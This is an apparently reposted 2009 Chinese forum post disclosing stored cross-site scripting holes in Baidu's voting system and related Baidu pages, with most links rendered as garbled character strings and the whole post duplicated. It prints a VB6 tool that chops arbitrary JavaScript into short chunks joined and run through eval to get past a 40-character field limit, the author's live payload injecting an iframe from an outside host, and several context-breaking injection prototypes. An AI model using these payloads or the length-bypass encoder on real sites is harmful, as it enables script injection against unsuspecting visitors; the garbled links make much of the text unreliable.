-
-
[旧帖] [推荐]百度投票系统---跨站漏洞！ 0.00雪花
-
发表于: 2009-12-28 03:32
-
（转自邪恶八进制 文章作者：woldy）
不知道转到这里合不合适，不合适就DEL了 呵呵
测试地址 893K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3M7s2y4Q4x3X3g2Z5K9g2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6X3!0@1k6g2)9J5c8Y4y4Z5L8%4N6Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6$3L8%4c8W2i4K6g2X3K9h3c8Q4x3@1b7#2x3e0t1$3z5l9`.`.
===============================================
话说因为投票选项最多40个字，所以要给跨站代码转换一下，不过转换这些代码也挺费劲的，最好还是编个小程序来做~~~~~~
Private Sub Command1_Click()
a = Fix(Len(Text1.Text) / 16)
Text2.Text = "<script>z='" & Mid(Text1.Text, 1, 16) & "'</script>" & vbCrLf
For i = 2 To a
Text2.Text = Text2.Text & "<script>z=z+'" & Mid(Text1.Text, 1 + (16 * (i - 1)), 16) & "'</script>" & vbCrLf
Next
Text2.Text = Text2.Text & Chr(10) & Chr(13) & "<script>z=z+'" & Right(Text1.Text, Len(Text1.Text) Mod 16) & "'</script>" & vbCrLf
Text2.Text = Text2.Text & "<script>eval(z)</script>" & vbCrLf
Text2.Text = Text2.Text & "<script>alert('hello woldy!')</script>"
End Sub
2009-12-23 02:32
最后附上我的选项代码，祝大家圣诞快乐~~~~~~~
<script>z='document.write("'</script>
<script>z=z+'<iframe src=http'</script>
<script>z=z+'://2b9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0p5$3x3#2)9J5k6h3y4G2L8b7`.`. w'</script>
<script>z=z+'idth=666 height='</script>
<script>z=z+'666></iframe>")'</script>
<script>eval(z)</script>
<script>alert("hello woldy!")</script>
简易代码转换器下载地址：395K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3k6G2M7Y4g2E0i4K6u0W2k6i4k6A6L8r3!0U0N6r3q4D9i4K6u0W2j5$3!0E0i4K6u0r3j5i4c8@1j5h3y4Z5L8h3g2F1N6q4)9J5k6i4m8Z5M7q4)9K6c8X3q4A6k6q4)9K6c8o6p5K6z5e0x3H3
(续)
这次主要是通过
b81K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8s2N6G2L8r3c8&6（百度全国大学生乡村信息化创新大赛）
和 9c6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5N6$3!0D9k6s2V1`.（百度空间——找朋友）进行的跨站行为。
测试地址：
ecfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
107K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
4f9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
154K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
================================================================
================================================================
测试地址1
2bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
原型d56K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4<;/script><iframe src=e91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
测试地址2
b17K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
原型e37K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8l9`.`."><iframe src=01bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
测试地址3
413K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
原型d4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4</script><script>alert(/------hello woldy!------/)</script>
测试地址4
689K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
原型8c2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1%4</script><iframe src=8fbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0 </iframe>
12.24号的
不知道转到这里合不合适，不合适就DEL了 呵呵
测试地址 893K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3M7s2y4Q4x3X3g2Z5K9g2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6X3!0@1k6g2)9J5c8Y4y4Z5L8%4N6Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6$3L8%4c8W2i4K6g2X3K9h3c8Q4x3@1b7#2x3e0t1$3z5l9`.`.
===============================================
话说因为投票选项最多40个字，所以要给跨站代码转换一下，不过转换这些代码也挺费劲的，最好还是编个小程序来做~~~~~~
Private Sub Command1_Click()
a = Fix(Len(Text1.Text) / 16)
Text2.Text = "<script>z='" & Mid(Text1.Text, 1, 16) & "'</script>" & vbCrLf
For i = 2 To a
Text2.Text = Text2.Text & "<script>z=z+'" & Mid(Text1.Text, 1 + (16 * (i - 1)), 16) & "'</script>" & vbCrLf
Next
Text2.Text = Text2.Text & Chr(10) & Chr(13) & "<script>z=z+'" & Right(Text1.Text, Len(Text1.Text) Mod 16) & "'</script>" & vbCrLf
Text2.Text = Text2.Text & "<script>eval(z)</script>" & vbCrLf
Text2.Text = Text2.Text & "<script>alert('hello woldy!')</script>"
End Sub
2009-12-23 02:32
最后附上我的选项代码，祝大家圣诞快乐~~~~~~~
<script>z='document.write("'</script>
<script>z=z+'<iframe src=http'</script>
<script>z=z+'://2b9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0p5$3x3#2)9J5k6h3y4G2L8b7`.`. w'</script>
<script>z=z+'idth=666 height='</script>
<script>z=z+'666></iframe>")'</script>
<script>eval(z)</script>
<script>alert("hello woldy!")</script>
简易代码转换器下载地址：395K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3k6G2M7Y4g2E0i4K6u0W2k6i4k6A6L8r3!0U0N6r3q4D9i4K6u0W2j5$3!0E0i4K6u0r3j5i4c8@1j5h3y4Z5L8h3g2F1N6q4)9J5k6i4m8Z5M7q4)9K6c8X3q4A6k6q4)9K6c8o6p5K6z5e0x3H3
(续)
这次主要是通过
b81K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8s2N6G2L8r3c8&6（百度全国大学生乡村信息化创新大赛）
和 9c6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5N6$3!0D9k6s2V1`.（百度空间——找朋友）进行的跨站行为。
测试地址：
ecfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
107K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6j5h3&6Y4j5%4g2F1i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3K9h3g2%4L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3&6A6k6q4)9K6c8o6p5@1z5q4)9J5y4Y4u0@1L8W2)9#2k6Y4g2J5L8q4)9K6c8q4)9J5y4e0t1J5i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0j5&6i4K6t1#2y4U0k6Q4x3U0f1%4x3W2)9J5y4e0j5I4i4K6t1#2y4V1c8Q4x3U0f1$3y4g2)9J5y4e0t1H3i4K6t1#2y4K6y4Q4x3U0f1%4x3W2)9J5y4e0j5K6i4K6t1#2x3@1c8Q4x3U0f1$3z5q4)9J5y4e0M7@1i4K6t1#2y4K6c8Q4x3U0f1%4x3q4)9J5y4e0y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8W2)9J5y4e0M7%4i4K6t1#2y4K6N6Q4x3U0f1%4y4#2)9J5y4e0u0q4i4K6t1#2y4U0u0Q4x3U0f1$3x3g2)9J5y4e0j5&6i4K6t1#2y4U0c8Q4x3U0f1%4y4g2)9J5y4e0u0q4i4K6t1#2y4U0y4Q4x3U0f1$3c8W2)9J5y4e0k6p5i4K6t1#2x3U0m8Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4U0W2Q4x3U0f1$3y4W2)9J5y4e0M7J5i4K6t1#2y4U0q4Q4x3U0f1$3c8q4)9J5y4e0j5#2i4K6t1#2x3@1f1`.
4f9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0W2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3N6i4q4#2k6i4u0&6i4K6u0r3i4K6y4r3N6s2W2H3k6g2)9K6c8o6q4Q4x3U0k6X3L8W2)9K6c8o6g2Q4x3U0k6%4L8%4u0V1i4K6y4p5i4K6t1#2x3U0N6Q4x3U0f1K6b7#2)9J5y4e0u0r3i4K6t1#2y4K6y4Q4x3U0f1$3x3#2)9J5y4e0M7J5i4K6t1#2y4U0W2Q4x3U0f1%4x3q4)9J5y4e0M7@1i4K6t1#2x3@1g2Q4x3U0f1K6b7#2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4i4K6t1#2y4U0q4Q4x3U0f1$3b7#2)9J5y4e0j5#2i4K6t1#2y4K6u0Q4x3U0f1%4y4q4)9J5y4e0t1^5i4K6t1#2x3V1k6Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1$3z5q4)9J5y4e0j5#2i4K6t1#2y4V1y4Q4x3U0f1$3b7#2)9J5y4e0k6r3i4K6t1#2x3U0m8Q4x3U0f1%4y4#2)9J5y4e0k6r3i4K6t1#2y4V1y4Q4x3U0f1$3y4q4)9J5y4e0M7&6i4K6t1#2x3U0q4Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8q4)9J5y4e0u0p5i4K6t1#2x3V1c8Q4x3U0f1J5c8W2)9J5y4e0t1&6i4K6t1#2x3@1y4Q4x3U0f1J5c8W2)9J5y4e0M7K6i4K6t1#2y4U0y4Q4x3U0f1%4x3W2)9J5y4e0j5&6i4K6t1#2y4K6m8Q4x3U0f1%4y4q4)9J5y4e0y4q4
